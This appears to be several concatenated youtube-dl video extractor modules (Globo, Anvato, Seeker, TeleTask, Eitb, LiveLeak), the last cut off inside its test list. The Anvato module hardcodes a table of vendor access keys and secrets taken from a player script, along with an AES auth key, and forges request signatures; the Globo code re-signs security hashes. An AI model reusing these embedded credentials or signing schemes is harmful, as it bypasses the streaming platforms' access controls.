        title = video['title']

        formats = []
        for resource in video['resources']:
            resource_id = resource.get('_id')
            if not resource_id or resource_id.endswith('manifest'):
                continue

            security = self._download_json(
                self._SECURITY_URL_TEMPLATE % (video_id, resource_id),
                video_id, 'Downloading security hash for %s' % resource_id)

            security_hash = security.get('hash')
            if not security_hash:
                message = security.get('message')
                if message:
                    raise ExtractorError(
                        '%s returned error: %s' % (self.IE_NAME, message), expected=True)
                continue

            hash_code = security_hash[:2]
            received_time = int(security_hash[2:12])
            received_random = security_hash[12:22]
            received_md5 = security_hash[22:]

            sign_time = received_time + self._RESIGN_EXPIRATION
            padding = '%010d' % random.randint(1, 10000000000)

            signed_md5 = self.MD5.b64_md5(received_md5 + compat_str(sign_time) + padding)
            signed_hash = hash_code + compat_str(received_time) + received_random + compat_str(sign_time) + padding + signed_md5

            resource_url = resource['url']
            signed_url = '%s?h=%s&k=%s' % (resource_url, signed_hash, 'flash')
            if resource_id.endswith('m3u8') or resource_url.endswith('.m3u8'):
                formats.extend(self._extract_m3u8_formats(
                    signed_url, resource_id, 'mp4', entry_protocol='m3u8_native',
                    m3u8_id='hls', fatal=False))
            else:
                formats.append({
                    'url': signed_url,
                    'format_id': 'http-%s' % resource_id,
                    'height': int_or_none(resource.get('height')),
                })

        self._sort_formats(formats)

        duration = float_or_none(video.get('duration'), 1000)
        uploader = video.get('channel')
        uploader_id = str_or_none(video.get('channel_id'))

        return {
            'id': video_id,
            'title': title,
            'duration': duration,
            'uploader': uploader,
            'uploader_id': uploader_id,
            'formats': formats
        }


class GloboArticleIE(InfoExtractor):
    _VALID_URL = 'https?://.+?\.globo\.com/(?:[^/]+/)*(?P<id>[^/]+)(?:\.html)?'

    _VIDEOID_REGEXES = [
        r'\bdata-video-id=["\'](\d{7,})',
        r'\bdata-player-videosids=["\'](\d{7,})',
        r'\bvideosIDs\s*:\s*["\']?(\d{7,})',
        r'\bdata-id=["\'](\d{7,})',
        r'<div[^>]+\bid=["\'](\d{7,})',
    ]

    _TESTS = [{
        'url': 'http://g1.globo.com/jornal-nacional/noticia/2014/09/novidade-na-fiscalizacao-de-bagagem-pela-receita-provoca-discussoes.html',
        'md5': '307fdeae4390ccfe6ba1aa198cf6e72b',
        'info_dict': {
            'id': '3652183',
            'ext': 'mp4',
            'title': 'Receita Federal explica como vai fiscalizar bagagens de quem retorna ao Brasil de avião',
            'duration': 110.711,
            'uploader': 'Rede Globo',
            'uploader_id': '196',
        }
    }, {
        'url': 'http://gq.globo.com/Prazeres/Poder/noticia/2015/10/all-o-desafio-assista-ao-segundo-capitulo-da-serie.html',
        'only_matching': True,
    }, {
        'url': 'http://gshow.globo.com/programas/tv-xuxa/O-Programa/noticia/2014/01/xuxa-e-junno-namoram-muuuito-em-luau-de-zeze-di-camargo-e-luciano.html',
        'only_matching': True,
    }, {
        'url': 'http://oglobo.globo.com/rio/a-amizade-entre-um-entregador-de-farmacia-um-piano-19946271',
        'only_matching': True,
    }]

    @classmethod
    def suitable(cls, url):
        return False if GloboIE.suitable(url) else super(GloboArticleIE, cls).suitable(url)

    def _real_extract(self, url):
        display_id = self._match_id(url)
        webpage = self._download_webpage(url, display_id)
        video_id = self._search_regex(self._VIDEOID_REGEXES, webpage, 'video id')
        return self.url_result('globo:%s' % video_id, 'Globo')






# coding: utf-8
from __future__ import unicode_literals

import base64
import hashlib
import json
import random
import time

from .common import InfoExtractor
from ..aes import aes_encrypt
from ..compat import compat_str
from ..utils import (
    bytes_to_intlist,
    determine_ext,
    intlist_to_bytes,
    int_or_none,
    strip_jsonp,
)


def md5_text(s):
    if not isinstance(s, compat_str):
        s = compat_str(s)
    return hashlib.md5(s.encode('utf-8')).hexdigest()


class AnvatoIE(InfoExtractor):
    # Copied from anvplayer.min.js
    _ANVACK_TABLE = {
        'nbcu_nbcd_desktop_web_prod_93d8ead38ce2024f8f544b78306fbd15895ae5e6': 'NNemUkySjxLyPTKvZRiGntBIjEyK8uqicjMakIaQ',
        'nbcu_nbcd_desktop_web_qa_1a6f01bdd0dc45a439043b694c8a031d': 'eSxJUbA2UUKBTXryyQ2d6NuM8oEqaPySvaPzfKNA',
        'nbcu_nbcd_desktop_web_acc_eb2ff240a5d4ae9a63d4c297c32716b6c523a129': '89JR3RtUGbvKuuJIiKOMK0SoarLb5MUx8v89RcbP',
        'nbcu_nbcd_watchvod_web_prod_e61107507180976724ec8e8319fe24ba5b4b60e1': 'Uc7dFt7MJ9GsBWB5T7iPvLaMSOt8BBxv4hAXk5vv',
        'nbcu_nbcd_watchvod_web_qa_42afedba88a36203db5a4c09a5ba29d045302232': 'T12oDYVFP2IaFvxkmYMy5dKxswpLHtGZa4ZAXEi7',
        'nbcu_nbcd_watchvod_web_acc_9193214448e2e636b0ffb78abacfd9c4f937c6ca': 'MmobcxUxMedUpohNWwXaOnMjlbiyTOBLL6d46ZpR',
        'nbcu_local_monitor_web_acc_f998ad54eaf26acd8ee033eb36f39a7b791c6335': 'QvfIoPYrwsjUCcASiw3AIkVtQob2LtJHfidp9iWg',
        'nbcu_cable_monitor_web_acc_a413759603e8bedfcd3c61b14767796e17834077': 'uwVPJLShvJWSs6sWEIuVem7MTF8A4IknMMzIlFto',
        'nbcu_nbcd_mcpstage_web_qa_4c43a8f6e95a88dbb40276c0630ba9f693a63a4e': 'PxVYZVwjhgd5TeoPRxL3whssb5OUPnM3zyAzq8GY',
        'nbcu_comcast_comcast_web_prod_074080762ad4ce956b26b43fb22abf153443a8c4': 'afnaRZfDyg1Z3WZHdupKfy6xrbAG2MHqe3VfuSwh',
        'nbcu_comcast_comcast_web_qa_706103bb93ead3ef70b1de12a0e95e3c4481ade0': 'DcjsVbX9b3uoPlhdriIiovgFQZVxpISZwz0cx1ZK',
        'nbcu_comcast_comcastcable_web_prod_669f04817536743563d7331c9293e59fbdbe3d07': '0RwMN2cWy10qhAhOscq3eK7aEe0wqnKt3vJ0WS4D',
        'nbcu_comcast_comcastcable_web_qa_3d9d2d66219094127f0f6b09cc3c7bb076e3e1ca': '2r8G9DEya7PCqBceKZgrn2XkXgASjwLMuaFE1Aad',
        'hearst_hearst_demo_web_stage_960726dfef3337059a01a78816e43b29ec04dfc7': 'cuZBPXTR6kSdoTCVXwk5KGA8rk3NrgGn4H6e9Dsp',
        'anvato_mcpqa_demo_web_stage_18b55e00db5a13faa8d03ae6e41f6f5bcb15b922': 'IOaaLQ8ymqVyem14QuAvE5SndQynTcH5CrLkU2Ih',
        'anvato_nextmedia_demo_web_stage_9787d56a02ff6b9f43e9a2b0920d8ca88beb5818': 'Pqu9zVzI1ApiIzbVA3VkGBEQHvdKSUuKpD6s2uaR',
        'anvato_scripps_app_web_prod_0837996dbe373629133857ae9eb72e740424d80a': 'du1ccmn7RxzgizwbWU7hyUaGodNlJn7HtXI0WgXW',
        'anvato_scripps_app_web_stage_360797e00fe2826be142155c4618cc52fce6c26c': '2PMrQ0BRoqCWl7nzphj0GouIMEh2mZYivAT0S1Su',
        'fs2go_fs2go_go_all_prod_21934911ccfafc03a075894ead2260d11e2ddd24': 'RcuHlKikW2IJw6HvVoEkqq2UsuEJlbEl11pWXs4Q',
        'fs2go_fs2go_go_web_prod_ead4b0eec7460c1a07783808db21b49cf1f2f9a7': '4K0HTT2u1zkQA2MaGaZmkLa1BthGSBdr7jllrhk5',
        'fs2go_fs2go_go_web_stage_407585454a4400355d4391691c67f361': 'ftnc37VKRJBmHfoGGi3kT05bHyeJzilEzhKJCyl3',
        'fs2go_fs2go_go_android_stage_44b714db6f8477f29afcba15a41e1d30': 'CtxpPvVpo6AbZGomYUhkKs7juHZwNml9b9J0J2gI',
        'anvato_cbslocal_app_web_prod_547f3e49241ef0e5d30c79b2efbca5d92c698f67': 'Pw0XX5KBDsyRnPS0R2JrSrXftsy8Jnz5pAjaYC8s',
        'anvato_cbslocal_app_web_stage_547a5f096594cd3e00620c6f825cad1096d28c80': '37OBUhX2uwNyKhhrNzSSNHSRPZpApC3trdqDBpuz',
        'fs2go_att_att_web_prod_1042dddd089a05438b6a08f972941176f699ffd8': 'JLcF20JwYvpv6uAGcLWIaV12jKwaL1R8us4b6Zkg',
        'fs2go_att_att_web_stage_807c5001955fc114a3331fe027ddc76e': 'gbu1oO1y0JiOFh4SUipt86P288JHpyjSqolrrT1x',
        'fs2go_fs2go_tudor_web_prod_a7dd8e5a7cdc830cae55eae6f3e9fee5ee49eb9b': 'ipcp87VCEZXPPe868j3orLqzc03oTy7DXsGkAXXH',
        'anvato_mhz_app_web_prod_b808218b30de7fdf60340cbd9831512bc1bf6d37': 'Stlm5Gs6BEhJLRTZHcNquyzxGqr23EuFmE5DCgjX',
        'fs2go_charter_charter_web_stage_c2c6e5a68375a1bf00fff213d3ff8f61a835a54c': 'Lz4hbJp1fwL6jlcz4M2PMzghM4jp4aAmybtT5dPc',
        'fs2go_charter_charter_web_prod_ebfe3b10f1af215a7321cd3d629e0b81dfa6fa8c': 'vUJsK345A1bVmyYDRhZX0lqFIgVXuqhmuyp1EtPK',
        'anvato_epfox_app_web_prod_b3373168e12f423f41504f207000188daf88251b': 'GDKq1ixvX3MoBNdU5IOYmYa2DTUXYOozPjrCJnW7',
        'anvato_epfox_app_web_stage_a3c2ce60f8f83ef374a88b68ee73a950f8ab87ce': '2jz2NH4BsXMaDsoJ5qkHMbcczAfIReo2eFYuVC1C',
        'fs2go_verizon_verizon_web_stage_08e6df0354a4803f1b1f2428b5a9a382e8dbcd62': 'rKTVapNaAcmnUbGL4ZcuOoY4SE7VmZSQsblPFr7e',
        'fs2go_verizon_verizon_web_prod_f909564cb606eff1f731b5e22e0928676732c445': 'qLSUuHerM3u9eNPzaHyUK52obai5MvE4XDJfqYe1',
        'fs2go_foxcom_synd_web_stage_f7b9091f00ea25a4fdaaae77fca5b54cdc7e7043': '96VKF2vLd24fFiDfwPFpzM5llFN4TiIGAlodE0Re',
        'fs2go_foxcom_synd_web_prod_0f2cdd64d87e4ab6a1d54aada0ff7a7c8387a064': 'agiPjbXEyEZUkbuhcnmVPhe9NNVbDjCFq2xkcx51',
        'anvato_own_app_web_stage_1214ade5d28422c4dae9d03c1243aba0563c4dba': 'mzhamNac3swG4WsJAiUTacnGIODi6SWeVWk5D7ho',
        'anvato_own_app_web_prod_944e162ed927ec3e9ed13eb68ed2f1008ee7565e': '9TSxh6G2TXOLBoYm9ro3LdNjjvnXpKb8UR8KoIP9',
        'anvato_scripps_app_ftv_prod_a10a10468edd5afb16fb48171c03b956176afad1': 'COJ2i2UIPK7xZqIWswxe7FaVBOVgRkP1F6O6qGoH',
        'anvato_scripps_app_ftv_stage_77d3ad2bdb021ec37ca2e35eb09acd396a974c9a': 'Q7nnopNLe2PPfGLOTYBqxSaRpl209IhqaEuDZi1F',
        'anvato_univision_app_web_stage_551236ef07a0e17718c3995c35586b5ed8cb5031': 'D92PoLS6UitwxDRA191HUGT9OYcOjV6mPMa5wNyo',
        'anvato_univision_app_web_prod_039a5c0a6009e637ae8ac906718a79911e0e65e1': '5mVS5u4SQjtw6NGw2uhMbKEIONIiLqRKck5RwQLR',
        'nbcu_cnbc_springfield_ios_prod_670207fae43d6e9a94c351688851a2ce': 'M7fqCCIP9lW53oJbHs19OlJlpDrVyc2OL8gNeuTa',
        'nbcu_cnbc_springfieldvod_ios_prod_7a5f04b1ceceb0e9c9e2264a44aa236e08e034c2': 'Yia6QbJahW0S7K1I0drksimhZb4UFq92xLBmmMvk',
        'anvato_cox_app_web_prod_ce45cda237969f93e7130f50ee8bb6280c1484ab': 'cc0miZexpFtdoqZGvdhfXsLy7FXjRAOgb9V0f5fZ',
        'anvato_cox_app_web_stage_c23dbe016a8e9d8c7101d10172b92434f6088bf9': 'yivU3MYHd2eDZcOfmLbINVtqxyecKTOp8OjOuoGJ',
        'anvato_chnzero_app_web_stage_b1164d1352b579e792e542fddf13ee34c0eeb46b': 'A76QkXMmVH8lTCfU15xva1mZnSVcqeY4Xb22Kp7m',
        'anvato_chnzero_app_web_prod_253d358928dc08ec161eda2389d53707288a730c': 'OA5QI3ZWZZkdtUEDqh28AH8GedsF6FqzJI32596b',
        'anvato_discovery_vodpoc_web_stage_9fa7077b5e8af1f8355f65d4fb8d2e0e9d54e2b7': 'q3oT191tTQ5g3JCP67PkjLASI9s16DuWZ6fYmry3',
        'anvato_discovery_vodpoc_web_prod_688614983167a1af6cdf6d76343fda10a65223c1': 'qRvRQCTVHd0VVOHsMvvfidyWmlYVrTbjby7WqIuK',
        'nbcu_cnbc_springfieldvod_ftv_stage_826040aad1925a46ac5dfb4b3c5143e648c6a30d': 'JQaSb5a8Tz0PT4ti329DNmzDO30TnngTHmvX8Vua',
        'nbcu_cnbc_springfield_ftv_stage_826040aad1925a46ac5dfb4b3c5143e648c6a30d': 'JQaSb5a8Tz0PT4ti329DNmzDO30TnngTHmvX8Vua',
        'nbcu_nbcd_capture_web_stage_4dd9d585bfb984ebf856dee35db027b2465cc4ae': '0j1Ov4Vopyi2HpBZJYdL2m8ERJVGYh3nNpzPiO8F',
        'nbcu_nbcd_watch3_android_prod_7712ca5fcf1c22f19ec1870a9650f9c37db22dcf': '3LN2UB3rPUAMu7ZriWkHky9vpLMXYha8JbSnxBlx',
        'nbcu_nbcd_watchvod3_android_prod_0910a3a4692d57c0b5ff4316075bc5d096be45b9': 'mJagcQ2II30vUOAauOXne7ERwbf5S9nlB3IP17lQ',
        'anvato_scripps_app_atv_prod_790deda22e16e71e83df58f880cd389908a45d52': 'CB6trI1mpoDIM5o54DNTsji90NDBQPZ4z4RqBNSH',
        'nbcu_nbcd_watchv4_android_prod_ff67cef9cb409158c6f8c3533edddadd0b750507': 'j8CHQCUWjlYERj4NFRmUYOND85QNbHViH09UwuKm',
        'nbcu_nbcd_watchvodv4_android_prod_a814d781609989dea6a629d50ae4c7ad8cc8e907': 'rkVnUXxdA9rawVLUlDQtMue9Y4Q7lFEaIotcUhjt',
        'rvVKpA50qlOPLFxMjrCGf5pdkdQDm7qn': '1J7ZkY5Qz5lMLi93QOH9IveE7EYB3rLl',
        'nbcu_dtv_local_web_prod_b266cf49defe255fd4426a97e27c09e513e9f82f': 'HuLnJDqzLa4saCzYMJ79zDRSQpEduw1TzjMNQu2b',
        'nbcu_att_local_web_prod_4cef038b2d969a6b7d700a56a599040b6a619f67': 'Q0Em5VDc2KpydUrVwzWRXAwoNBulWUxCq2faK0AV',
        'nbcu_dish_local_web_prod_c56dcaf2da2e9157a4266c82a78195f1dd570f6b': 'bC1LWmRz9ayj2AlzizeJ1HuhTfIaJGsDBnZNgoRg',
        'nbcu_verizon_local_web_prod_88bebd2ce006d4ed980de8133496f9a74cb9b3e1': 'wzhDKJZpgvUSS1EQvpCQP8Q59qVzcPixqDGJefSk',
        'nbcu_charter_local_web_prod_9ad90f7fc4023643bb718f0fe0fd5beea2382a50': 'PyNbxNhEWLzy1ZvWEQelRuIQY88Eub7xbSVRMdfT',
        'nbcu_suddenlink_local_web_prod_20fb711725cac224baa1c1cb0b1c324d25e97178': '0Rph41lPXZbb3fqeXtHjjbxfSrNbtZp1Ygq7Jypa',
        'nbcu_wow_local_web_prod_652d9ce4f552d9c2e7b5b1ed37b8cb48155174ad': 'qayIBZ70w1dItm2zS42AptXnxW15mkjRrwnBjMPv',
        'nbcu_centurylink_local_web_prod_2034402b029bf3e837ad46814d9e4b1d1345ccd5': 'StePcPMkjsX51PcizLdLRMzxMEl5k2FlsMLUNV4k',
        'nbcu_atlanticbrd_local_web_prod_8d5f5ecbf7f7b2f5e6d908dd75d90ae3565f682e': 'NtYLb4TFUS0pRs3XTkyO5sbVGYjVf17bVbjaGscI',
        'nbcu_nbcd_watchvod_web_dev_08bc05699be47c4f31d5080263a8cfadc16d0f7c': 'hwxi2dgDoSWgfmVVXOYZm14uuvku4QfopstXckhr',
        'anvato_nextmedia_app_web_prod_a4fa8c7204aa65e71044b57aaf63711980cfe5a0': 'tQN1oGPYY1nM85rJYePWGcIb92TG0gSqoVpQTWOw',
        'anvato_mcp_lin_web_prod_4c36fbfd4d8d8ecae6488656e21ac6d1ac972749': 'GUXNf5ZDX2jFUpu4WT2Go4DJ5nhUCzpnwDRRUx1K',
        'anvato_mcp_univision_web_prod_37fe34850c99a3b5cdb71dab10a417dd5cdecafa': 'bLDYF8JqfG42b7bwKEgQiU9E2LTIAtnKzSgYpFUH',
        'anvato_mcp_fs2go_web_prod_c7b90a93e171469cdca00a931211a2f556370d0a': 'icgGoYGipQMMSEvhplZX1pwbN69srwKYWksz3xWK',
        'anvato_mcp_sps_web_prod_54bdc90dd6ba21710e9f7074338365bba28da336': 'fA2iQdI7RDpynqzQYIpXALVS83NTPr8LLFK4LFsu',
        'anvato_mcp_anv_web_prod_791407490f4c1ef2a4bcb21103e0cb1bcb3352b3': 'rMOUZqe9lwcGq2mNgG3EDusm6lKgsUnczoOX3mbg',
        'anvato_mcp_gray_web_prod_4c10f067c393ed8fc453d3930f8ab2b159973900': 'rMOUZqe9lwcGq2mNgG3EDusm6lKgsUnczoOX3mbg',
        'anvato_mcp_hearst_web_prod_5356c3de0fc7c90a3727b4863ca7fec3a4524a99': 'P3uXJ0fXXditBPCGkfvlnVScpPEfKmc64Zv7ZgbK',
        'anvato_mcp_cbs_web_prod_02f26581ff80e5bda7aad28226a8d369037f2cbe': 'mGPvo5ZA5SgjOFAPEPXv7AnOpFUICX8hvFQVz69n',
        'anvato_mcp_telemundo_web_prod_c5278d51ad46fda4b6ca3d0ea44a7846a054f582': 'qyT6PXXLjVNCrHaRVj0ugAhalNRS7Ee9BP7LUokD',
        'nbcu_nbcd_watchvodv4_web_stage_4108362fba2d4ede21f262fea3c4162cbafd66c7': 'DhaU5lj0W2gEdcSSsnxURq8t7KIWtJfD966crVDk',
        'anvato_scripps_app_ios_prod_409c41960c60b308db43c3cc1da79cab9f1c3d93': 'WPxj5GraLTkYCyj3M7RozLqIycjrXOEcDGFMIJPn',
        'EZqvRyKBJLrgpClDPDF8I7Xpdp40Vx73': '4OxGd2dEakylntVKjKF0UK9PDPYB6A9W',
        'M2v78QkpleXm9hPp9jUXI63x5vA6BogR': 'ka6K32k7ZALmpINkjJUGUo0OE42Md1BQ',
        'nbcu_nbcd_desktop_web_prod_93d8ead38ce2024f8f544b78306fbd15895ae5e6_secure': 'NNemUkySjxLyPTKvZRiGntBIjEyK8uqicjMakIaQ'
    }

    _AUTH_KEY = b'\x31\xc2\x42\x84\x9e\x73\xa0\xce'

    def __init__(self, *args, **kwargs):
        super(AnvatoIE, self).__init__(*args, **kwargs)
        self.__server_time = None

    def _server_time(self, access_key, video_id):
        if self.__server_time is not None:
            return self.__server_time

        self.__server_time = int(self._download_json(
            self._api_prefix(access_key) + 'server_time?anvack=' + access_key, video_id,
            note='Fetching server time')['server_time'])

        return self.__server_time

    def _api_prefix(self, access_key):
        return 'https://tkx2-%s.anvato.net/rest/v2/' % ('prod' if 'prod' in access_key else 'stage')

    def _get_video_json(self, access_key, video_id):
        # See et() in anvplayer.min.js, which is an alias of getVideoJSON()
        video_data_url = self._api_prefix(access_key) + 'mcp/video/%s?anvack=%s' % (video_id, access_key)
        server_time = self._server_time(access_key, video_id)
        input_data = '%d~%s~%s' % (server_time, md5_text(video_data_url), md5_text(server_time))

        auth_secret = intlist_to_bytes(aes_encrypt(
            bytes_to_intlist(input_data[:64]), bytes_to_intlist(self._AUTH_KEY)))

        video_data_url += '&X-Anvato-Adst-Auth=' + base64.b64encode(auth_secret).decode('ascii')
        anvrid = md5_text(time.time() * 1000 * random.random())[:30]
        payload = {
            'api': {
                'anvrid': anvrid,
                'anvstk': md5_text('%s|%s|%d|%s' % (
                    access_key, anvrid, server_time, self._ANVACK_TABLE[access_key])),
                'anvts': server_time,
            },
        }

        return self._download_json(
            video_data_url, video_id, transform_source=strip_jsonp,
            data=json.dumps(payload).encode('utf-8'))

    def _extract_anvato_videos(self, webpage, video_id):
        anvplayer_data = self._parse_json(self._html_search_regex(
            r'<script[^>]+data-anvp=\'([^\']+)\'', webpage,
            'Anvato player data'), video_id)

        video_id = anvplayer_data['video']
        access_key = anvplayer_data['accessKey']

        video_data = self._get_video_json(access_key, video_id)

        formats = []
        for published_url in video_data['published_urls']:
            video_url = published_url['embed_url']
            ext = determine_ext(video_url)

            if ext == 'smil':
                formats.extend(self._extract_smil_formats(video_url, video_id))
                continue

            tbr = int_or_none(published_url.get('kbps'))
            a_format = {
                'url': video_url,
                'format_id': ('-'.join(filter(None, ['http', published_url.get('cdn_name')]))).lower(),
                'tbr': tbr if tbr != 0 else None,
            }

            if ext == 'm3u8':
                # Not using _extract_m3u8_formats here as individual media
                # playlists are also included in published_urls.
                if tbr is None:
                    formats.append(self._m3u8_meta_format(video_url, ext='mp4', m3u8_id='hls'))
                    continue
                else:
                    a_format.update({
                        'format_id': '-'.join(filter(None, ['hls', compat_str(tbr)])),
                        'ext': 'mp4',
                    })
            elif ext == 'mp3':
                a_format['vcodec'] = 'none'
            else:
                a_format.update({
                    'width': int_or_none(published_url.get('width')),
                    'height': int_or_none(published_url.get('height')),
                })
            formats.append(a_format)

        self._sort_formats(formats)

        subtitles = {}
        for caption in video_data.get('captions', []):
            a_caption = {
                'url': caption['url'],
                'ext': 'tt' if caption.get('format') == 'SMPTE-TT' else None
            }
            subtitles.setdefault(caption['language'], []).append(a_caption)

        return {
            'id': video_id,
            'formats': formats,
            'title': video_data.get('def_title'),
            'description': video_data.get('def_description'),
            'categories': video_data.get('categories'),
            'thumbnail': video_data.get('thumbnail'),
            'subtitles': subtitles,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor


class SeekerIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?seeker\.com/(?P<display_id>.*)-(?P<article_id>\d+)\.html'
    _TESTS = [{
        # player.loadRevision3Item
        'url': 'http://www.seeker.com/should-trump-be-required-to-release-his-tax-returns-1833805621.html',
        'md5': '30c1dc4030cc715cf05b423d0947ac18',
        'info_dict': {
            'id': '76243',
            'ext': 'webm',
            'title': 'Should Trump Be Required To Release His Tax Returns?',
            'description': 'Donald Trump has been secretive about his "big," "beautiful" tax returns. So what can we learn if he decides to release them?',
            'uploader': 'Seeker Daily',
            'uploader_id': 'seekerdaily',
        }
    }, {
        'url': 'http://www.seeker.com/changes-expected-at-zoos-following-recent-gorilla-lion-shootings-1834116536.html',
        'playlist': [
            {
                'md5': '83bcd157cab89ad7318dd7b8c9cf1306',
                'info_dict': {
                    'id': '67558',
                    'ext': 'mp4',
                    'title': 'The Pros & Cons Of Zoos',
                    'description': 'Zoos are often depicted as a terrible place for animals to live, but is there any truth to this?',
                    'uploader': 'DNews',
                    'uploader_id': 'dnews',
                },
            }
        ],
        'info_dict': {
            'id': '1834116536',
            'title': 'After Gorilla Killing, Changes Ahead for Zoos',
            'description': 'The largest association of zoos and others are hoping to learn from recent incidents that led to the shooting deaths of a gorilla and two lions.',
        },
    }]

    def _real_extract(self, url):
        display_id, article_id = re.match(self._VALID_URL, url).groups()
        webpage = self._download_webpage(url, display_id)
        mobj = re.search(r"player\.loadRevision3Item\('([^']+)'\s*,\s*(\d+)\);", webpage)
        if mobj:
            playlist_type, playlist_id = mobj.groups()
            return self.url_result(
                'revision3:%s:%s' % (playlist_type, playlist_id), 'Revision3Embed', playlist_id)
        else:
            entries = [self.url_result('revision3:video_id:%s' % video_id, 'Revision3Embed', video_id) for video_id in re.findall(
                r'<iframe[^>]+src=[\'"](?:https?:)?//api\.seekernetwork\.com/player/embed\?videoId=(\d+)', webpage)]
            return self.playlist_result(
                entries, article_id, self._og_search_title(webpage), self._og_search_description(webpage))






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import unified_strdate


class TeleTaskIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?tele-task\.de/archive/video/html5/(?P<id>[0-9]+)'
    _TEST = {
        'url': 'http://www.tele-task.de/archive/video/html5/26168/',
        'info_dict': {
            'id': '26168',
            'title': 'Duplicate Detection',
        },
        'playlist': [{
            'md5': '290ef69fb2792e481169c3958dbfbd57',
            'info_dict': {
                'id': '26168-speaker',
                'ext': 'mp4',
                'title': 'Duplicate Detection',
                'upload_date': '20141218',
            }
        }, {
            'md5': 'e1e7218c5f0e4790015a437fcf6c71b4',
            'info_dict': {
                'id': '26168-slides',
                'ext': 'mp4',
                'title': 'Duplicate Detection',
                'upload_date': '20141218',
            }
        }]
    }

    def _real_extract(self, url):
        lecture_id = self._match_id(url)
        webpage = self._download_webpage(url, lecture_id)

        title = self._html_search_regex(
            r'itemprop="name">([^<]+)</a>', webpage, 'title')
        upload_date = unified_strdate(self._html_search_regex(
            r'Date:</td><td>([^<]+)</td>', webpage, 'date', fatal=False))

        entries = [{
            'id': '%s-%s' % (lecture_id, format_id),
            'url': video_url,
            'title': title,
            'upload_date': upload_date,
        } for format_id, video_url in re.findall(
            r'<video class="([^"]+)"[^>]*>\s*<source src="([^"]+)"', webpage)]

        return self.playlist_result(entries, lecture_id, title)






# encoding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    float_or_none,
    int_or_none,
    parse_iso8601,
    sanitized_Request,
)


class EitbIE(InfoExtractor):
    IE_NAME = 'eitb.tv'
    _VALID_URL = r'https?://(?:www\.)?eitb\.tv/(?:eu/bideoa|es/video)/[^/]+/\d+/(?P<id>\d+)'

    _TEST = {
        'url': 'http://www.eitb.tv/es/video/60-minutos-60-minutos-2013-2014/4104995148001/4090227752001/lasa-y-zabala-30-anos/',
        'md5': 'edf4436247185adee3ea18ce64c47998',
        'info_dict': {
            'id': '4090227752001',
            'ext': 'mp4',
            'title': '60 minutos (Lasa y Zabala, 30 años)',
            'description': 'Programa de reportajes de actualidad.',
            'duration': 3996.76,
            'timestamp': 1381789200,
            'upload_date': '20131014',
            'tags': list,
        },
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        video = self._download_json(
            'http://mam.eitb.eus/mam/REST/ServiceMultiweb/Video/MULTIWEBTV/%s/' % video_id,
            video_id, 'Downloading video JSON')

        media = video['web_media'][0]

        formats = []
        for rendition in media['RENDITIONS']:
            video_url = rendition.get('PMD_URL')
            if not video_url:
                continue
            tbr = float_or_none(rendition.get('ENCODING_RATE'), 1000)
            format_id = 'http'
            if tbr:
                format_id += '-%d' % int(tbr)
            formats.append({
                'url': rendition['PMD_URL'],
                'format_id': format_id,
                'width': int_or_none(rendition.get('FRAME_WIDTH')),
                'height': int_or_none(rendition.get('FRAME_HEIGHT')),
                'tbr': tbr,
            })

        hls_url = media.get('HLS_SURL')
        if hls_url:
            request = sanitized_Request(
                'http://mam.eitb.eus/mam/REST/ServiceMultiweb/DomainRestrictedSecurity/TokenAuth/',
                headers={'Referer': url})
            token_data = self._download_json(
                request, video_id, 'Downloading auth token', fatal=False)
            if token_data:
                token = token_data.get('token')
                if token:
                    formats.extend(self._extract_m3u8_formats(
                        '%s?hdnts=%s' % (hls_url, token), video_id, m3u8_id='hls', fatal=False))

        hds_url = media.get('HDS_SURL')
        if hds_url:
            formats.extend(self._extract_f4m_formats(
                '%s?hdcore=3.7.0' % hds_url.replace('euskalsvod', 'euskalvod'),
                video_id, f4m_id='hds', fatal=False))

        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': media.get('NAME_ES') or media.get('name') or media['NAME_EU'],
            'description': media.get('SHORT_DESC_ES') or video.get('desc_group') or media.get('SHORT_DESC_EU'),
            'thumbnail': media.get('STILL_URL') or media.get('THUMBNAIL_URL'),
            'duration': float_or_none(media.get('LENGTH'), 1000),
            'timestamp': parse_iso8601(media.get('BROADCST_DATE'), ' '),
            'tags': media.get('TAGS'),
            'formats': formats,
        }






from __future__ import unicode_literals

import json
import re

from .common import InfoExtractor
from ..utils import int_or_none


class LiveLeakIE(InfoExtractor):
    _VALID_URL = r'https?://(?:\w+\.)?liveleak\.com/view\?(?:.*?)i=(?P<id>[\w_]+)(?:.*)'
    _TESTS = [{
        'url': 'http://www.liveleak.com/view?i=757_1364311680',
        'md5': '50f79e05ba149149c1b4ea961223d5b3',
        'info_dict': {
            'id': '757_1364311680',
            'ext': 'flv',
            'description': 'extremely bad day for this guy..!',
            'uploader': 'ljfriel2',
            'title': 'Most unlucky car accident',
            'thumbnail': 're:^https?://.*\.jpg$'
        }
    }, {
        'url': 'http://www.liveleak.com/view?i=f93_1390833151',
        'md5': 'b13a29626183c9d33944e6a04f41aafc',
        'info_dict': {
            'id': 'f93_1390833151',
            'ext': 'mp4',
            'description': 'German Television Channel NDR does an exclusive interview with Edward Snowden.\r\nUploaded on LiveLeak cause German Television thinks the rest of the world isn\'t intereseted in Edward Snowden.',
            'uploader': 'ARD_Stinkt',
            'title': 'German Television does first Edward Snowden Interview (ENGLISH)',
            'thumbnail': 're:^https?://.*\.jpg$'
        }
    }, {
        'url': 'http://www.liveleak.com/view?i=4f7_1392687779',
        'md5': '42c6d97d54f1db107958760788c5f48f',
        'info_dict': {
            'id': '4f7_1392687779',
            'ext': 'mp4',
            'description': "The guy with the cigarette seems amazingly nonchalant about the whole thing...  I really hope my friends' reactions would be a bit stronger.\r\n\r\nAction-go to 0:55.",
            'uploader': 'CapObveus',
            'title': 'Man is Fatally Struck by Reckless Car While Packing up a Moving Truck',
            'age_limit': 18,
        }
    }, {
        # Covers https://github.com/rg3/youtube-dl/pull/5983
        'url': 'http://www.liveleak.com/view?i=801_1409392012',
        'md5': '0b3bec2d888c20728ca2ad3642f0ef15',
        'info_dict': {
            'id': '801_1409392012',
            'ext': 'mp4',
            'description': 'Happened on 27.7.2014. \r\nAt 0:53 you can see people still swimming at near beach.',
            'uploader': 'bony333',
            'title': 'Crazy Hungarian tourist films close call waterspout in Croatia',
            'thumbnail': 're:^https?://.*\.jpg$'
        }
